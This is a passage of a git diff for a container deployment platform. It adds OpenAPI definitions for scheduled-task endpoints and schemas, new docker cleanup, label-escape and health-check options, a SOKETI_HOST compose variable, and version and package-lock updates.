} + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Scheduled task updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}\/executions": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Executions", + "description": "List all executions for a scheduled task on a service.", + "operationId": "list-scheduled-task-executions-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all executions for a scheduled task.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTaskExecution" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/security\/keys": { "get": { "tags": [ @@ -8975,6 +9685,11 @@ "type": "boolean", "default": false, "description": "Force domain override even if conflicts are detected." + }, + "is_container_label_escape_enabled": { + "type": "boolean", + "default": true, + "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." } }, "type": "object" @@ -9301,6 +10016,11 @@ "type": "boolean", "default": false, "description": "Force domain override even if conflicts are detected." + }, + "is_container_label_escape_enabled": { + "type": "boolean", + "default": true, + "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." } }, "type": "object" @@ -9869,6 +10589,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -10332,6 +11061,19 @@ "type": "integer", "description": "Health check start period in seconds." }, + "health_check_type": { + "type": "string", + "description": "Health check type: http or cmd.", + "enum": [ + "http", + "cmd" + ] + }, + "health_check_command": { + "type": "string", + "nullable": true, + "description": "Health check command for CMD type." + }, "limits_memory": { "type": "string", "description": "Memory limit." @@ -10699,6 +11441,10 @@ "real_value": { "type": "string" }, + "comment": { + "type": "string", + "nullable": true + }, "version": { "type": "string" }, @@ -10771,6 +11517,110 @@ }, "type": "object" }, + "ScheduledTask": { + "description": "Scheduled Task model", + "properties": { + "id": { + "type": "integer", + "description": "The unique identifier of the scheduled task in the database." + }, + "uuid": { + "type": "string", + "description": "The unique identifier of the scheduled task." + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled." + }, + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds." + }, + "created_at": { + "type": "string", + "format": "date-time", + "description": "The date and time when the scheduled task was created." + }, + "updated_at": { + "type": "string", + "format": "date-time", + "description": "The date and time when the scheduled task was last updated." + } + }, + "type": "object" + }, + "ScheduledTaskExecution": { + "description": "Scheduled Task Execution model", + "properties": { + "uuid": { + "type": "string", + "description": "The unique identifier of the execution." + }, + "status": { + "type": "string", + "enum": [ + "success", + "failed", + "running" + ], + "description": "The status of the execution." + }, + "message": { + "type": "string", + "nullable": true, + "description": "The output message of the execution." + }, + "retry_count": { + "type": "integer", + "description": "The number of retries." + }, + "duration": { + "type": "number", + "nullable": true, + "description": "Duration in seconds." + }, + "started_at": { + "type": "string", + "format": "date-time", + "nullable": true, + "description": "When the execution started." + }, + "finished_at": { + "type": "string", + "format": "date-time", + "nullable": true, + "description": "When the execution finished." + }, + "created_at": { + "type": "string", + "format": "date-time", + "description": "When the record was created." + }, + "updated_at": { + "type": "string", + "format": "date-time", + "description": "When the record was last updated." + } + }, + "type": "object" + }, "Server": { "description": "Server model", "properties": { @@ -11283,6 +12133,10 @@ "name": "Resources", "description": "Resources" }, + { + "name": "Scheduled Tasks", + "description": "Scheduled Tasks" + }, { "name": "Private Keys", "description": "Private Keys" diff --git a/openapi.yaml b/openapi.yaml index 172607117..81753544f 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2111,6 +2111,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop application.' @@ -3806,6 +3813,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop database.' @@ -5085,6 +5099,478 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/scheduled-tasks': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Tasks' + description: 'List all scheduled tasks for an application.' + operationId: list-scheduled-tasks-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all scheduled tasks for an application.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - 'Scheduled Tasks' + summary: 'Create Task' + description: 'Create a new scheduled task for an application.' + operationId: create-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + required: + - name + - command + - frequency + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '201': + description: 'Scheduled task created.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/applications/{uuid}/scheduled-tasks/{task_uuid}': + delete: + tags: + - 'Scheduled Tasks' + summary: 'Delete Task' + description: 'Delete a scheduled task for an application.' + operationId: delete-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Scheduled task deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Scheduled task deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - 'Scheduled Tasks' + summary: 'Update Task' + description: 'Update a scheduled task for an application.' + operationId: update-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '200': + description: 'Scheduled task updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/applications/{uuid}/scheduled-tasks/{task_uuid}/executions': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Executions' + description: 'List all executions for a scheduled task on an application.' + operationId: list-scheduled-task-executions-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all executions for a scheduled task.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTaskExecution' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Tasks' + description: 'List all scheduled tasks for a service.' + operationId: list-scheduled-tasks-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all scheduled tasks for a service.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - 'Scheduled Tasks' + summary: 'Create Task' + description: 'Create a new scheduled task for a service.' + operationId: create-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + required: + - name + - command + - frequency + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '201': + description: 'Scheduled task created.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks/{task_uuid}': + delete: + tags: + - 'Scheduled Tasks' + summary: 'Delete Task' + description: 'Delete a scheduled task for a service.' + operationId: delete-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Scheduled task deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Scheduled task deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - 'Scheduled Tasks' + summary: 'Update Task' + description: 'Update a scheduled task for a service.' + operationId: update-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '200': + description: 'Scheduled task updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks/{task_uuid}/executions': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Executions' + description: 'List all executions for a scheduled task on a service.' + operationId: list-scheduled-task-executions-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all executions for a scheduled task.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTaskExecution' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /security/keys: get: tags: @@ -5666,6 +6152,10 @@ paths: type: boolean default: false description: 'Force domain override even if conflicts are detected.' + is_container_label_escape_enabled: + type: boolean + default: true + description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' type: object responses: '201': @@ -5851,6 +6341,10 @@ paths: type: boolean default: false description: 'Force domain override even if conflicts are detected.' + is_container_label_escape_enabled: + type: boolean + default: true + description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' type: object responses: '200': @@ -6173,6 +6667,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop service.' @@ -6488,6 +6989,16 @@ components: health_check_start_period: type: integer description: 'Health check start period in seconds.' + health_check_type: + type: string + description: 'Health check type: http or cmd.' + enum: + - http + - cmd + health_check_command: + type: string + nullable: true + description: 'Health check command for CMD type.' limits_memory: type: string description: 'Memory limit.' @@ -6759,6 +7270,9 @@ components: type: string real_value: type: string + comment: + type: string + nullable: true version: type: string created_at: @@ -6807,6 +7321,86 @@ components: description: type: string type: object + ScheduledTask: + description: 'Scheduled Task model' + properties: + id: + type: integer + description: 'The unique identifier of the scheduled task in the database.' + uuid: + type: string + description: 'The unique identifier of the scheduled task.' + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + created_at: + type: string + format: date-time + description: 'The date and time when the scheduled task was created.' + updated_at: + type: string + format: date-time + description: 'The date and time when the scheduled task was last updated.' + type: object + ScheduledTaskExecution: + description: 'Scheduled Task Execution model' + properties: + uuid: + type: string + description: 'The unique identifier of the execution.' + status: + type: string + enum: + - success + - failed + - running + description: 'The status of the execution.' + message: + type: string + nullable: true + description: 'The output message of the execution.' + retry_count: + type: integer + description: 'The number of retries.' + duration: + type: number + nullable: true + description: 'Duration in seconds.' + started_at: + type: string + format: date-time + nullable: true + description: 'When the execution started.' + finished_at: + type: string + format: date-time + nullable: true + description: 'When the execution finished.' + created_at: + type: string + format: date-time + description: 'When the record was created.' + updated_at: + type: string + format: date-time + description: 'When the record was last updated.' + type: object Server: description: 'Server model' properties: @@ -7161,6 +7755,9 @@ tags: - name: Resources description: Resources + - + name: 'Scheduled Tasks' + description: 'Scheduled Tasks' - name: 'Private Keys' description: 'Private Keys' diff --git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml index 46e0e88e5..d42047245 100644 --- a/other/nightly/docker-compose.prod.yml +++ b/other/nightly/docker-compose.prod.yml @@ -72,6 +72,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml index 6306ab381..bf1f94af0 100644 --- a/other/nightly/docker-compose.windows.yml +++ b/other/nightly/docker-compose.windows.yml @@ -113,6 +113,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 1ce790111..7564f625e 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,19 +1,19 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.463" + "version": "4.0.0-beta.469" }, "nightly": { - "version": "4.0.0-beta.464" + "version": "4.0.0" }, "helper": { "version": "1.0.12" }, "realtime": { - "version": "1.0.10" + "version": "1.0.11" }, "sentinel": { - "version": "0.0.18" + "version": "0.0.19" } }, "traefik": { @@ -26,4 +26,4 @@ "v3.0": "3.0.4", "v2.11": "2.11.32" } -} \ No newline at end of file +} diff --git a/package-lock.json b/package-lock.json index 59d678c4f..3c9753bb8 100644 --- a/package-lock.json +++ b/package-lock.json @@ -596,9 +596,9 @@ "license": "MIT" }, "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz", - "integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", + "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", "cpu": [ "arm" ], @@ -610,9 +610,9 @@ ] }, "node_modules/@rollup/rollup-android-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz", - "integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", + "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", "cpu": [ "arm64" ], @@ -624,9 +624,9 @@ ] }, "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz", - "integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", + "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", "cpu": [ "arm64" ], @@ -638,9 +638,9 @@ ] }, "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz", - "integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", + "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", "cpu": [ "x64" ], @@ -652,9 +652,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz", - "integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", + "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", "cpu": [ "arm64" ], @@ -666,9 +666,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz", - "integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", + "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", "cpu": [ "x64" ], @@ -680,9 +680,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz", - "integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", + "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", "cpu": [ "arm" ], @@ -694,9 +694,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz", - "integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", + "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", "cpu": [ "arm" ], @@ -708,9 +708,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz", - "integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", + "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", "cpu": [ "arm64" ], @@ -722,9 +722,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz", - "integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", + "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", "cpu": [ "arm64" ], @@ -736,9 +736,9 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz", - "integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", + "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", "cpu": [ "loong64" ], @@ -750,9 +750,9 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz", - "integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", + "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", "cpu": [ "loong64" ], @@ -764,9 +764,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz", - "integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", + "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", "cpu": [ "ppc64" ], @@ -778,9 +778,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz", - "integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", + "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", "cpu": [ "ppc64" ], @@ -792,9 +792,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz", - "integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", + "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", "cpu": [ "riscv64" ], @@ -806,9 